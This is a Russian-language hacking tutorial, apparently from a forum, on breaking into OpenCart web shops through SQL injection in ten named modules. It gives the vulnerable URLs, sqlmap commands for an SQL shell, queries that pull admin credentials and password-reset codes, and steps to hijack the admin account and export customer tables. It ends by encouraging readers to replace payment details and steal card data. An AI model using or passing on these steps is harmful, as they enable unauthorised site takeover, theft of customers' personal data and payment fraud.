Уязвимости в модулях OpenCart
Итак, OpenCart - популярный движок для интернет-магазинов, особенно в зарубежье. Статистика примерно такая:
Данные уязвимости в большинстве случаев дадут нам полный контроль над сайтом, а именно доступ в админ-панель. Если доступ не будет получен, то БД можно будет слить в любом случае.
Все уязвимости будут основаны на sql инъекциях в популярных модулях для opencart, следовательно нужны навыки работы с sqlmap. Приступим!
1. Инъекция
Всего уязвимых модулей мне известно 10:
Инъекция на каждом из модулей будет одинаковая, отличаться будет только url:
- https://site.com/index.php?route=product/manufacturer/info&manufacturer_id=
- https://site.com/index.php?route=product/product&path=4_16&product_id=431'
- https://site.com/index.php?route=product/search&tag='
- https://site.com/'
- https://site.com/index.php?route=information/contact&enquiry='
- https://site.com/index.php?route=journal3/product&product_id='
- https://site.com/index.php?route=pavblog/blog&blog_id=160'
- https://site.com/index.php?route=product/blog_list&blogger_id=11'
- https://site.com/index.php?route=blog/blog&blog_id=140'
- https://site.com/index.php?route=extension/d_blog_module/search&tag='
Где в ссылке есть кавычка, она обязательная!
Мы рассмотрим инъекцию в модуль seo
sqlmap.py -u "https://site.com/'*" --random-agent --dbms=mysql --level=5 --risk=3
Посмотрев внимательно на вышеуказанную команду, вы можете заметить, что в ссылке есть *, она указывает sqlmap куда в ссылке проводить инъекцию
Тут sqlmap как раз говорит о том, что он увидел маркер для инъекции и спрашивает, туда ли проводить инъекцию, жмем Y и enter
2. Получение доступа к админке
Теперь получим доступ к sql-shell (командная строка самой базы данных)
sqlmap.py -u "https://site.com/'*" --random-agent --dbms=mysql --level=5 --risk=3 -D oc_chaibuket2020 --sql-shell
Теперь получим учетные данные админов сайта
select `username`,`password`,`salt`,`email` from `oc_user`
Отсюда нам требуется email и логин админа
Далее переходим на сайт, с которым мы работаем на данный момент, по адресу https://site.com/admin
Нас встречает такой интерфейс. Жмем забыли пароль
Вводим сюда email админа и жмем сбросить
Далее идем обратно в sql-shell и вводим команду для получения кода сброса пароля
select `code` from `oc_user`
Далее идем по адресу https://site.com/admin/index.php?route=common/reset&code=<ТУТ ВАШ КОД>
Придумываем и вводим новый пароль для админа, затем авторизуемся с логином, который мы получили ранее и паролем, который мы только что установили
3. Слив БД
Идем в раздел Система>Обслуживание>Бэкап/Восстановление (Названия раздел могут отличаться)
Выбираем нужные нам таблицы (Пользователи находятся в таблице oc_customer) и жмем экспорт
Как видите, сложного так же ничего нет. На забугор сайтах можно не только слить бд, но и заменить реквизиты на оплату, слить CC и много много чего другого, включайте голову!